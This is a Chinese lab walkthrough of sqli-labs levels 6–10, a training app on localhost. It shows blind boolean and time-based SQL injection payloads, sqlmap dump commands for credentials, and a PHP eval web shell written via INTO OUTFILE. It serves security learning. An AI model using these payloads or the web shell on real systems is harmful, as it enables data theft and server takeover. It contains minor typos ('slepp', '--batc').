sqli libs 6-10

第六关

手工注入

找到注入点

?id=1         正常
?id=1'        正常
?id=1"        错误

确定字段数量

?id=1" order by 3--+     正常
?id=1" order by 4--+     错误

说明有3个字段,而且通过页面回显我们可以看出是和第五关是一样的,所以第五关和第六关的区别就是第五关是单引号,第六关是双引号

猜解数据库名

确定数据库长度

?id=1" and length(database()) = 8 --+

确定具体的数据库名

?id=1" and ascii(substr(database(),1,1))=115--+   
?id=1" and ascii(substr(database(),2,1))=101--+
?id=1" and ascii(substr(database(),3,1))=99--+
?id=1" and ascii(substr(database(),4,1))=117--+
?id=1" and ascii(substr(database(),5,1))=114--+
?id=1" and ascii(substr(database(),6,1))=105--+
?id=1" and ascii(substr(database(),7,1))=116--+
?id=1" and ascii(substr(database(),8,1))=121--+

根据ASCII对照表,查出数据库名为security

猜解表名

确定第一个表名的长度

?id=1" and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,100))= 6--+

确定第一个表的的表名

?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101 --+
?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)) = 109 --+
?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1)) = 97 --+
?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1)) = 105 --+
?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1)) = 108 --+
?id=1"and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)) = 115 --+

所以security数据库中的第一个表的名称为emails后面表的名称我就不演示了,通过修改limit后面的参数就可以爆出来,理解意思就可以了

猜解列名

确定第一列的长度

?id=1" and length(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,100))=2--+

确定第一列的列名

?id=1"and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)) = 105 --+
?id=1"and ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1)) = 100 --+

所以security数据库中的emails表中第一列的列名为id

猜解数据

确定数据的长度

?id=1" and length(substr((select id from security.users limit 0,1),1,100))=1--+

确定数据的具体值

?id=1" and ascii(substr((select id from security.emails limit 0,1),1,1))=49--+

所以security数据库中的emails表中第一列的列名为id的第一行数据是1

这就是一个整体的流程了,大家也可以借助burpsuit爆破来实现

SQLMAP

查询数据库名

>python3 sqlmap.py -u http://127.0.0.1/sqli/sqli-labs-master/Less-6/?id=1  --technique E --dbs --batch

查询表名

python3 sqlmap.py -u http://127.0.0.1/sqli/sqli-labs-master/Less-6/?id=1  --technique E -D security  --tables --batch

查询列名

python3 sqlmap.py -u http://127.0.0.1/sqli/sqli-labs-master/Less-6/?id=1  --technique E -D security  -T users --columns --batch

 

 

查数据

第七关

手工注入

判断注入点

?id=1'))--+

题目是要我们写入文件,首先要有写入权限,然后还要搞清楚文件路径,

如果用的是phpstudy的话,需要在php.ini中添加secure_file_priv=""

然后我们搞一下文件路径,由于这一关页面没有回显所以只能想别的办法,但是前面的关卡中是可以回显的,而这些关卡应该是在同一目录下的所以文件目录应该也是一样的

Less-2/?id=-1 union select 1,@@basedir,@@datadir --+

phpstudy有默认路径phpStudy1\PHPTutorial\WWW,所以我们只需要找到phpstudy的文件夹在哪然后拼接起来就可以了

写入文件

?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\phpStudy1\\PHPTutorial\\WWW\\sqli\\sqli-labs-master\\ttt.php"--+

兄弟萌,这个地方多说一句一定要确定自己有写入权限,如果不知到的话可以进入数据库查询一下

查看写入文件的路径,确实已经写入了

上蚁剑!!!

 

 

第八关

手工注入

找到注入点

?id=1              正常
?id=1'             报错

发现也是盲注,大家参考第六题就可以区别就是一个是单引号一个是双引号,我自己是试过的没有问题

SQLMAP

查询当前数据库名

python3 sqlmap.py -u http://127.0.0.1/sqli/sqli-labs-master/Less-8/?id=1  --technique B --current-db --batch

查询数据库中的表名

python3 sqlmap.py -u http://127.0.0.1/sqli/sqli-labs-master/Less-8/?id=1  --technique B -D security --tables --batch

查询数据库中users表中的列

python3 sqlmap.py -u http://127.0.0.1/sqli/sqli-labs-master/Less-8/?id=1  --technique B -D security -T users --columns --batc

查询列中的数据

python3 sqlmap.py -u http://127.0.0.1/sqli/sqli-labs-master/Less-8/?id=1  --technique B -D security -T users -C password,username --dump --batch

分析源码

 

第九关

这关是时间盲注,就是不论输入什么都返回一个界面,无法通过回显来判断是否存在注入点。利用sleep()函数

判断注入点

?id=1 and slepp(5)--+

明显sleep函数并没有执行,所以sql语句闭合的不对,再试

?id=1' and sleep(5)--+

这个就是执行过le

查询数据库名

判断数据库名长度

?id=1' and if(length(database())=8,sleep(5),null)--+ 

猜解数据库名

?id=1' and if((substr(database(),1,1))='s',sleep(5),null)--+ 
?id=1' and if((substr(database(),2,1))='e',sleep(5),null)--+
?id=1' and if((substr(database(),3,1))='c',sleep(5),null)--+
?id=1' and if((substr(database(),4,1))='u',sleep(5),null)--+
?id=1' and if((substr(database(),5,1))='r',sleep(5),null)--+
?id=1' and if((substr(database(),6,1))='i',sleep(5),null)--+
?id=1' and if((substr(database(),7,1))='t',sleep(5),null)--+ 
?id=1' and if((substr(database(),8,1))='y',sleep(5),null)--+      

查询数据库中的表名

判断数据库的第一个表名的长度

?id=1' and if(length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,100))= 6,sleep(5),null)--+

查询数据库中第一个表名

and if(length(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,100))= 6,sleep(5),null)--+

 

后续就都差不多了,我这边就是打个样儿,要不重复性工作也太多了没有意义

SQLMAP

查询当前数据库名

python3 sqlmap.py -u http://127.0.0.1/sqli/sqli-labs-master/Less-9/?id=1  --technique T   --current-db --batch

既然能查数据库那剩下的也不成问题,由于时间盲注太慢了我就不一一演示了

 

第十关

手工注入

依然还是时间注入

?id=1 and sleep(5)--+               失败
?id=1' and sleep(5)--+              失败
?id=1" and sleep(5)--+              成功执行

猜测后台的查询语句为

select * from 表名 where id="$_id"

然后就没什么可说的了,参考第九题

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值